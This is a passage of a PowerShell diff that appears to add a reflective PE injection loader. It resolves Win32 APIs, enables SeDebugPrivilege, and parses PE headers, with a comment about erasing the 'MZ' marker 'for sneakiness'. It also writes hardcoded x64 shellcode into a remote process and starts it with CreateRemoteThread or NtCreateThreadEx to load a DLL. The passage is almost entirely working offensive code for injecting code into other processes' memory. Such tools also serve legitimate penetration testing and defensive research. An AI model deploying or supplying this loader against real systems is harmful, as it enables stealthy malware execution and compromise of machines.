-Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + } + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + $LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = 